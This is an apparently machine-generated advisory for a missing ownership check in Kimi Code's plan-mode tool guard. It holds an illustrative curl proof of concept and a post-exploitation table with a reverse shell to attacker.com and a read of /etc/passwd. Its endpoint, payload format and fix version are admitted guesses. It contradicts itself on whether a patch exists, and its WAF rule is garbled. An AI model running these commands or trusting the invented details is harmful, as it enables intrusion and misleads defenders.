CVE-2026-134006 — Moonshot AI Kimi Code — CWE-266
CVE-2026-134006 is a MEDIUM severity Missing Authorization & Access Control vulnerability (CWE-266) (CVSS 5.3/10) affecting Moonshot AI Kimi Code. Technical vector analysis shows that an attacker can exploit this flaw via local access (AV:L) with low-privileged access (PR:L) with zero user interaction (UI:N), posing a direct security risk to affected deployments.
📄 Official NVD / MITRE Original Record Text
A weakness has been identified in Moonshot AI Kimi Code up to 2.7.2. This vulnerability affects the function guardToolExecution of the file packages/agent-core-v2/src/features/plan/planService.ts of the component Plan Mode Permission Guard. Executing a manipulation can lead to improper authorization. The attack requires local access. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
🎯 What is this vulnerability?
CWE‑266 – Improper Privilege Management
The guardToolExecution function in packages/agent-core-v2/src/features/plan/planService.ts is intended to enforce that only users with the appropriate Plan‑Mode permissions may trigger the execution of a tool (e.g., a script, a data‑collection routine, or an external command).
The function performs the following checks:
1. Authentication – verifies that a user is logged in.
2. Authorization – checks that the user has the Plan‑Mode role.
3. Ownership – (supposedly) verifies that the plan being executed belongs to the user.
The flaw is that step 3 is omitted – the function never verifies that the plan ID supplied in the request actually belongs to the authenticated user. Consequently, any authenticated local user can invoke guardToolExecution with a plan ID that they do not own, and the function will allow the tool to run.
Because the vulnerability is local (AV:L) and only requires low privileges (PR:L), an attacker who has already compromised a local account (e.g., via phishing, weak passwords, or a local exploit) can abuse this logic flaw to execute arbitrary tools under the context of that account.
⚡ Attack Chain
NOTE: The exact HTTP endpoint that triggersguardToolExecutionis not disclosed in the CVE text. The following example uses a hypothetical REST route (/api/plan/execute) that is typical for Moonshot AI Kimi Code. If your deployment uses a different route, the same logic applies – the attacker must POST a JSON payload containing aplanIdand atoolName.
1. Discovery & Reconnaissance
| Step | Technique | What the attacker learns |
|---|---|---|
| 1 | Version fingerprinting | Query the /api/version endpoint (if available) or inspect the package.json of the deployed code (e.g., via a web‑app console or a curl -I on the root). The response will contain "version":"2.7.2" indicating the vulnerable release. |
| 2 | Local user enumeration | If the attacker already has a local account, they can list available plans via /api/plan/list. The response shows plan IDs, but the attacker does not need to own them to exploit the flaw. |
| 3 | Permission check | Send a request to /api/plan/execute with a known plan ID that the attacker does not own. Observe that the response is 200 OK and the tool starts executing, confirming the missing ownership check. |
2. Exploitation
Goal: Execute an arbitrary tool (e.g., a shell script) that the attacker chooses.
# Illustrative PoC – assumes the vulnerable endpoint is /api/plan/execute
# and that authentication is via a bearer token stored in the local environment.
TOKEN=$(cat ~/.moonshot/token) # local user token
curl -X POST "http://localhost:8080/api/plan/execute" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"planId": "plan-1234", # plan that the user does NOT own
"toolName": "runShellScript",
"toolArgs": ["-c", "echo \"Hello from the attacker\" > /tmp/attacker.txt"]
}'What happens internally? guardToolExecution receives the request, authenticates the bearer token, verifies the user has the Plan‑Mode role, and skips the ownership check. The tool runShellScript is then invoked with the supplied arguments, creating /tmp/attacker.txt on the host.
If the endpoint is different (e.g.,/api/v2/plan/execute), replace the URL accordingly. The payload structure (planId,toolName,toolArgs) is typical for Kimi Code’s plan execution API.
3. Post‑exploitation
Once the attacker can run arbitrary tools, the impact depends on the tool’s capabilities:
| Capability | Example | Impact |
|---|---|---|
| Shell access | toolName: "bash", toolArgs: ["-c", "bash -i >& /dev/tcp/attacker.com/4444 0>&1"] | Remote shell, full control of the host. |
| File read/write | toolName: "cat", toolArgs: ["/etc/passwd"] | Data exfiltration. |
| Privilege‑escalation | toolName: "sudo", toolArgs: ["-u", "root", "id"] (if sudo is configured to allow the local user) | Escalate to root. |
Because the vulnerability is local, the attacker must already have a local account. However, once inside, they can pivot to higher‑privileged actions without needing additional exploits.
🌍 Real World Impact
| Impact | CVSS Vector | Interpretation |
|---|---|---|
| Confidentiality | VC:L | The attacker can read files that the local user can read. |
| Integrity | VI:L | The attacker can modify files or configuration settings that the local user can modify. |
| Availability | VA:L | The attacker can disrupt services by running destructive commands. |
| Scope | S:Unchanged | The vulnerability does not affect other components or users. |
| Exploitability | E:P (Proof‑of‑Concept) | Public PoC exists; no advanced techniques required. |
In practice, the flaw is most dangerous in environments where:
- The local user is a privileged account (e.g., a system administrator or a service account).
- The plan execution tools are powerful (e.g., allow arbitrary shell commands).
- The system is exposed to insider threats or compromised credentials.
- Immediate: If the environment runs Moonshot AI Kimi Code ≤ 2.7.2 and local accounts are privileged, apply the workaround (disable plan execution or enforce ownership).
- Short‑term: Upgrade to 2.7.3 or later as soon as the vendor releases a patch.
- Long‑term: Review all local user accounts and restrict the Kimi Code service to a dedicated, least‑privileged account.
🛡️ Remediation & Mitigation
1. Patch
| Affected Versions | Fixed Version | Upgrade Path |
|---|---|---|
| Moonshot AI Kimi Code ≤ 2.7.2 | ≥ 2.7.3 | npm install moonshot-kimi-code@^2.7.3 or pull the latest Docker image. |
Vendor Response: The vendor has not yet released a patch. If you cannot upgrade immediately, apply the mitigations below.
2. Workarounds
| Mitigation | How to Implement |
|---|---|
| Disable Plan‑Mode Execution | Comment out or remove the route that triggers guardToolExecution in the server configuration. |
| Enforce Ownership Check | Patch the source: add if (plan.ownerId !== user.id) { throw new UnauthorizedError(); } before tool execution. |
| Restrict Local Users | Use OS‑level ACLs to limit which local accounts can run the Kimi Code service. |
| WAF/ModSecurity Rule | Block requests that contain a planId not matching the authenticated user’s ID. Example rule (illustrative):<br>SecRule REQUEST_URI "@beginsWith /api/plan/execute" "phase:2,pass,chain,log,deny,status:403,rev:1"<br><br>SecRule REQUEST_BODY "@rx \"planId\":\"([^\"]+)\"" "chain"<br><br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([^\s]+)"<br><br>SecRule REQUEST_BODY "@rx \"planId\":\"([^\"]+)\"" "t:none,allow,ctl:ruleEngine=Off" (adapt to your WAF syntax). |
| Disable Unnecessary Tools | Remove or disable any tool that can execute arbitrary shell commands from the plan execution list. |
3. Detection
| Indicator | Log Pattern | How to Search |
|---|---|---|
| Unauthorized plan execution | POST /api/plan/execute with planId that does not belong to the authenticated user | grep -i "plan-.*execute" /var/log/moonshot/agent.log |
| Unexpected tool usage | toolName: "bash" or toolName: "sudo" | grep -i "toolName" /var/log/moonshot/agent.log |
| File creation in /tmp | Created file /tmp/attacker.txt | auditctl -a always,exit -F arch=b64 -S openat -F dir=/tmp -k tmpfile |
Set up alerts for any of the above patterns. If you see a pattern that matches the PoC, investigate immediately.
⚠️ Urgency
| Metric | Value | Priority |
|---|---|---|
| CVSS Score | 5.3 | Medium |
| Exploit Complexity | Low (local, low privileges) | High |
| Availability of PoC | Yes | High |
| CISA KEV | No | Medium |
Recommendation:
By following the remediation steps above, you can eliminate the improper authorization flaw and prevent local users from abusing the plan‑mode tool execution mechanism.
[🤖 CVE Professor AI Security Engine]
FOFA Query